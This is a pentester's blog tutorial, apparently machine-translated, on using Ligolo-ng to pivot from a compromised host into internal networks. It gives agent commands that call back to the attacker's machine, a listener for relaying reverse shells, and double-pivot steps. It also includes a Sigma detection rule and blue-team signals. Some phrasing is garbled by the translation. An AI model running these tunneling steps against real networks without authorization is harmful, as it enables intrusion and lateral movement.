Ligolo-ng: Tunneling and pivoting without proxychains on Kali

Ligolo-ng is a tunneling and pivoting tool with a TUN interface: usage, installation, proxy and agent, double pivot, Magic IP, and how to detect it. A pentester's guide.
- Posted on 2026-11-02
- Reading time: 8 min
Ligolo-ng: A Guide to Pivoting with a TUN Interface, Without Proxy Chains #
Ligolo-ng is a pivoting tool that creates a TUN interface on your Kali and lets you use nmap, NetExec, ssh, and curl within an internal network, without proxy chains. This is useful when we compromise a machine that sees an internal network: our tools run on Kali, not the compromised machine, and a tunnel is needed to carry the traffic inside. This technique is called pivoting.
In this guide, we'll look at what Ligolo-ng is, how it works, how to install and use it step by step (proxy and agent, even on Windows), how to perform a double pivot , how it compares to Chisel, and, for defense purposes, how to recognize it on the network. You'll also find myligolo , our open-source launcher that prepares interfaces, proxies, and commands in a single command.
What is Ligolo-ng? #
Ligolo-ng is an open-source tunneling and pivoting tool that uses a TUN interface . It essentially creates a virtual network adapter on your Kali: all the traffic you send to the internal network passes through there and arrives at the agent, which runs it inside the victim's network.
The advantage over traditional methods is only one, but it is enormous: no SOCKS proxy is neededWith SOCKS you have to put proxychains in front of every command and many tools don't like it. With Ligolo-ng you launch nmap o nxc as if you were already inside the net.
The main features, according to the official README:
- tunnel on connection reverse TCP/TLS, without SOCKS;
- The agent does not require administrator or root privileges: This is only used by the proxy, on your Kali, to create the TUN interface;
- agent selection and network information from a simple console;
- multiplexing, multiple concurrent tunnels, agents for multiple platforms;
- reverse and bind connections, listeners on the agent;
- Automatic tunnel and listener retrieval, WebSocket support.
Newer versions (0.8 and above) add a web API and interface, configuration files, daemon mode, auto-binding, and automatic route management.
How it works #
Ligolo-ng has two components:
- il proxy turn on your attack machine and listen to the connections;
- theagent runs on the compromised machine (the “pivot”) and connects to the proxy, then the connection starts from the inside out: Passes firewalls more easily.
Behind the scenes, the proxy uses a user-space networking stack based on gVisor. When you send a TCP packet to the internal network, the proxy translates it and the agent opens a real connection to the destination. If the connection succeeds, the SYN-ACK is returned. For this reason, with nmap, in the lab it's best to use a scan. -sT e -Pn: The agent transforms SYNs into full connections.
Installation: Proxy and Agent #
On Kali Linux the package is already available:
# Installs ligolo-proxy and ligolo-agent
sudo apt install ligolo-ngThe Kali package (version 0.9.1 at the time of writing) installs two commands: ligolo-proxy e ligolo-agent.
Alternatively you download the tracks from ligolo-ng releases on GitHub (repository nicocha30/ligolo-ng
): they serve the proxy for your car and theagent for the target system (Linux or Windows, depending on the target). The Windows agent is a agent.exe.
How to use Ligolo-ng, step by step #
Let's take a concrete example. Our Kali is 10.10.14.5, the pivot has two network cards and sees the network 10.10.10.0/24.
1. Start the proxy on Kali
# Self-signed certificate, listens on the default port 11601
sudo ligolo-proxy -selfcertThe proxy listens on port 11601. -selfcert generate a self-signed TLS certificate.
2. Start the agent on the pivot
# Linux pivot: connects back to the proxy
./agent -connect 10.10.14.5:11601 -ignore-cert:: Windows pivot
agent.exe -connect 10.10.14.5:11601 -ignore-cert-ignore-cert This is used to accept the proxy's self-signed certificate. The new connection will appear in the proxy console.
3. Choose the session, create the interface and the route
In the Ligolo-ng console:
session
interface_create --name ligolo
route_add --name ligolo --route 10.10.10.0/24
tunnel_start --tun ligoloWith session choose the agent. interface_create create the TUN card, route_add tells the system that the network 10.10.10.0/24 you get there from there, and tunnel_start Start the tunnel. If you prefer to do everything manually, the equivalent commands on Kali are:
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 10.10.10.0/24 dev ligoloThese steps are repeated identically for each lab. If you want to skip them, myligolo creates the interfaces, starts the proxy, and prints all the commands for you: you'll find an explanation below.
4. Use tools normally
From now on the internal network is reachable from your terminal, without proxychains:
# Full TCP connect scan, no ping
nmap -sT -Pn -p 22,80,445 10.10.10.5
# Any tool works as if you were inside the network
nxc smb 10.10.10.0/24For scanning and enumeration, the two reference articles are nmap and NetExec.
Magic IP 240.0.0.1: Reaching the agent's localhost #
Sometimes the service you are interested in only listens to on 127.0.0.1 of the pivot, for example a local database. Ligolo-ng has a special address for this case, the Magic IP 240.0.0.1, introduced by version 0.5.1. Traffic to 240.0.0.1 arrive at 127.0.0.1 of the car where the agent drives.
sudo ip route add 240.0.0.1/32 dev ligolo# Reaches MySQL listening only on the pivot's localhost
mysql -h 240.0.0.1 -P 3306 -u root -pListener: Reverse tunnel for reverse shell and files #
The normal tunnel carries traffic from your Kali to the internal network. Sometimes the opposite is necessary: an internal machine needs to reach you, for example, for a reverse shell or to download a file. This is what the agent uses listeners for :
listener_add --addr 0.0.0.0:4444 --to 10.10.14.5:4444
listener_listThe agent listens on the pivot's port 4444 and forwards connections to your Kali. Internal machines connect to the pivot's IP, and you receive the local shell.
Double pivot: a second goal behind the first #
It may happen that from the first pivot you reach a second host with another network behind it. With Ligolo-ng, this is how it works:
- On the first agent, create a listener that forwards port 11601 to your proxy:
listener_add --addr 0.0.0.0:11601 --to 10.10.14.5:11601- On the second host you start the agent by connecting it to theInternal IP of the first pivot, not to yours:
./agent -connect 10.10.10.5:11601 -ignore-cert- In the console, select the new session and repeat the process with a second interface and a second network:
session
interface_create --name ligolo2
route_add --name ligolo2 --route 192.168.50.0/24
tunnel_start --tun ligolo2For the general theory of jumping between networks, you can find the guide to pivoting and the guide to lateral movement.
myligolo: the Hackita launcher for Ligolo-ng #
In every lab, the same process is repeated: create the TUN interface, raise it, remember the port, write the routes, copy the agent command. These are simple steps, but getting one wrong can waste minutes trying to figure out why the tunnel isn't passing traffic.
That's why we wrote myligolo , an open-source Python launcher that does all the setup with just one command:
# Clone the launcher
git clone https://github.com/hack-ita/myligolo
cd myligolo
# Default port 11601
sudo python3 myligolo.py
# Custom port
sudo python3 myligolo.py 4444The advantages over doing everything by hand:
- One command and you're ready: create TUN interfaces and start
ligolo-proxy -selfcerton the port you choose (by default 11601). - Up to 10 ready-made interfaces:
ligolo,ligolo2,ligolo3, Up toligolo10. The existing ones are skipped, so the double pivot and the triple pivot does not require recreating anything. - The right commands, already written: print proxy console commands (
sessionestart), theip routefor the internal network and for the Magic IP240.0.0.1, and the agent command to paste on the target, with your port already inside. - Fewer stupid mistakesNo forgotten interfaces, no incorrect routes, no different ports between proxy and agent. These are the mistakes that waste the most time in labs.
- Check that the proxy is there: Is
ligolo-proxyit's not in thePATH, it tells you and tells you where to download it. - Zero dependencies: It only uses the standard Python 3 library, so it runs on any Kali without installing anything.
After starting, just do this. In the proxy console:
session
startAnd in another terminal add the route to the internal network:
# Internal network through the first interface
sudo ip route add 10.10.10.0/24 dev ligoloFor a second pivot just switch to ligolo2 and to a second network: the interface is already there waiting.
myligolo is designed for CTFs, Hack The Box labs, and authorized testing, and is the fastest way we know to get Ligolo-ng up and running without missing a beat. The code is on GitHub: github.com/hack-ita/myligolo . If you find it useful, please leave a star on the repository.
Ligolo-ng vs Chisel and other pivoting tools #
The classic question is "Ligolo-ng or Chisel?" It depends on what you need to do:
| tool | How does traffic flow? | SOCKS | TUN Interface | WebSocket |
|---|---|---|---|---|
| Ligolo-ng | TUN interface on your Kali | No | Yes | Yes |
| Chisel | Tunnel over HTTP or WebSocket | Yes (SOCKS5) | No | Yes |
| SSH | Port forwarding or -D | Yes | No | No |
- Ligolo-ng It is the best choice when you want to use the tools normally, without
proxychains, and you have access to an agent that connects to your proxy. - Chisel It is useful when you need a SOCKS5 or need to go through an HTTP channel.
- SSH This remains the simplest method if you already have valid credentials on the pivot.
- proxychains It's not a tunnel: it's the wrapper that passes the commands through the SOCKS proxy, and that's exactly what you no longer need with Ligolo-ng.
A special case: if the incoming port is a misconfigured Squid proxy, pivoting is done with the method CONNECT: you can find it in the article on Squid door 3128
, with our scanner mysquidscanner.
Common mistakes #
- The tunnel is not carrying any traffic: you forgot
tunnel_startor the route. Check withip routethat the network points to the interfaceligolo. - The agent does not connect: The firewall is blocking outgoing port 11601, or you forgot
-ignore-certwith the self-signed certificate. You can change the port with-laddron the proxy. - Ping and SYN scans give strange results: uses
nmap -sT -Pn. - Can't reach services on localhost on pivot: you need the route to
240.0.0.1/32. - Multiple networks, one interface: use one interface for each session (
ligolo,ligolo2, ...).
How to detect Ligolo-ng (blue team) #
Ligolo-ng on the target is a single binary that opens an outgoing connection. These signals help:
- outgoing connections from an internal server to an external IP on the gate 11601, which is the default port, with TLS and self-signed certificate;
- command line processes which contains
-connecte-ignore-cert; - tracks called
agentoagent.exein temporary folders or in the user profile; - On the target, the agent does not create network interfaces and does not require high privileges, so the signals to look for are process and connection, not network configuration.
A starting Sigma rule on the command line:
title: Ligolo-ng Agent Execution Command Line
id: 60dc6b0a-2d5c-4e9e-9c6d-5b8b2a9d7c11
status: experimental
description: Detects the Ligolo-ng agent started with its typical connect and ignore-cert flags
author: Hackita
date: 2026/11/01
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- '-connect'
- '-ignore-cert'
condition: selection
falsepositives:
- Administrative scripts that use the same flag names
level: mediumFrom a prevention perspective, outbound filtering is the most effective : servers must not be able to open connections to the Internet on arbitrary ports. Add in TLS traffic inspection to unknown destinations and checks for executables running from temporary folders, and the tunnel becomes much more difficult to establish.
FAQ #
What is Ligolo-ng? #
It is an open source tunneling and pivoting tool that creates a TUN interface on the attacker's machine and connects, via a reverse TLS connection, to an agent installed on a machine that sees the internal network.
What is myligolo? #
It is Hackita's open source launcher for Ligolo-ng: with sudo python3 myligolo.py Create up to 10 TUN interfaces, start ligolo-proxy on the port you choose and print the commands for the proxy, for the routes and for the agent. The code is on GitHub
.
Is Ligolo-ng better than Chisel? #
It depends on the case. Ligolo-ng is more convenient because it doesn't require proxy chains and the tools work normally. Chisel offers a SOCKS5 proxy and is useful when you need to go through HTTP or when a TUN interface isn't possible.
Do I need to be root to use Ligolo-ng? #
On your Kali, yes, because the proxy creates the TUN interface. On the target, no: the agent doesn't require administrator or root privileges.
Does Ligolo-ng work on Windows? #
Yes, the agent exists for Windows (agent.exe) and starts with -connect e -ignore-certThe proxy runs on your Linux.
What is the default port of Ligolo-ng? #
The default proxy port is 11601. You can change it, for example, with -laddr 0.0.0.0:443.
What is Ligolo-ng's Magic IP 240.0.0.1? #
It's a special address: the traffic to 240.0.0.1 arrive at 127.0.0.1 of the machine where the agent runs, useful for services that only listen locally.
Is Ligolo-ng used for OSCP and Hack The Box labs? #
It's one of the most widely used pivoting tools in labs because it avoids proxy chains and works well with nmap and NetExec. As always, only use it on systems you're authorized to test.
Operational summary #
- Ligolo-ng creates a TUN interface on your Kali: no SOCKS, no proxychains.
- The proxy runs on your end, the agent runs on the pivot, and the connection goes from the pivot to you (reverse TLS, port 11601).
- Steps:
ligolo-proxy -selfcert, agent with-connecte-ignore-cert, thensession,interface_create,route_addetunnel_start. 240.0.0.1reaches the pivot's localhost,listener_addIt is used for reverse shell and files, the double pivot uses a listener on the first agent.- With myligolo Skip the preparation: one command creates the interfaces, starts the proxy, and prints the agent's route and command.
- In defense watch outgoing connections on port 11601 and command lines with
-connecte-ignore-cert.
Ligolo-ng is a post -exploitation tool : once you understand how it works, any multi-network lab becomes much easier to manage. The myligolo launcher lets you get started with a single command.







